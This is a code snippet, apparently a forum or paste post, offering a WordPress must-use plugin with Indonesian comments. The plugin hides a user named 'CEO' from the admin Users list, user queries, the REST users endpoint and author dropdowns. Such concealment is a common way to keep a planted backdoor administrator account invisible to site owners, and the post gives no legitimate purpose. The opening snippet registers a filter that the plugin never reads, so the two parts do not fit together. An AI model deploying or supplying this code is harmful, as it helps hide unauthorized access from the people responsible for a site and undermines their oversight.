PUT THE SCRIPT AT FUNCTIONS.PHP BY WUTHEKONG 

add_filter('hsu_hidden_user_logins', function($logins){
    return array('CEO');
});


PUT THIS AT wp-content/mu-plugins/hide-users.php

<?php
/**
 * Plugin mu: sembunyikan user tertentu dari Users list, REST API, dropdown.
 * Taruh di: wp-content/mu-plugins/hide-users.php
 */

if (!defined('ABSPATH')) { exit; }

// --- Konfigurasi: daftar username yang disembunyikan (case bebas) ---
const HIDE_USERNAMES = ['CEO'];

/** Resolusi username -> user IDs (case-insensitive) */
function _resolve_hidden_user_ids(): array {
    $ids = [];
    foreach (HIDE_USERNAMES as $name) {
        $uid = username_exists($name); // return user ID jika ada
        if ($uid) { $ids[] = (int) $uid; }
    }
    return array_values(array_unique($ids));
}

/**
 * 1) PALING PENTING: sembunyikan di layar Users (wp-admin/users.php)
 *    Hook ini memodifikasi query yang dipakai tabel Users di admin.
 */
add_filter('users_list_table_query_args', function ($args) {
    if (!is_admin()) return $args;
    $hide_ids = _resolve_hidden_user_ids();
    if (!$hide_ids) return $args;

    // Jangan exclude saat membuka profil user itu sendiri via ?user_id=
    if (!empty($_GET['user_id']) && in_array((int)$_GET['user_id'], $hide_ids, true)) {
        return $args;
    }

    $exclude = isset($args['exclude']) ? (array)$args['exclude'] : [];
    $args['exclude'] = array_unique(array_map('intval', array_merge($exclude, $hide_ids)));
    return $args;
}, 20);

/** 2) Backup: untuk WP_User_Query umum di admin */
add_action('pre_get_users', function (WP_User_Query $query) {
    if (!is_admin()) return;
    $hide_ids = _resolve_hidden_user_ids();
    if (!$hide_ids) return;

    if (!empty($_GET['user_id']) && in_array((int)$_GET['user_id'], $hide_ids, true)) return;

    $exclude = (array)$query->get('exclude', []);
    $query->set('exclude', array_unique(array_map('intval', array_merge($exclude, $hide_ids))));
}, 20);

/** 3) REST API: sembunyikan dari /wp-json/wp/v2/users */
add_filter('rest_user_query', function ($args) {
    $hide_ids = _resolve_hidden_user_ids();
    if ($hide_ids) {
        $args['exclude'] = isset($args['exclude']) ? (array)$args['exclude'] : [];
        $args['exclude'] = array_unique(array_map('intval', array_merge($args['exclude'], $hide_ids)));
    }
    return $args;
});

/** 4) Dropdown (pemilihan author dsb.) */
add_filter('wp_dropdown_users_args', function ($args) {
    $hide_ids = _resolve_hidden_user_ids();
    if ($hide_ids) {
        $exclude = isset($args['exclude']) ? (array)$args['exclude'] : [];
        $args['exclude'] = array_unique(array_map('intval', array_merge($exclude, $hide_ids)));
    }
    return $args;
});

/** 5) Debug visual di layar Users untuk memastikan kode termuat */
add_action('load-users.php', function () {
    add_action('admin_notices', function () {
        echo '<div class="notice notice-info"><p>Filter Users aktif (mu-plugin).</p></div>';
    });
    error_log('USERS_SCREEN hide=' . implode(',', _resolve_hidden_user_ids()));
});
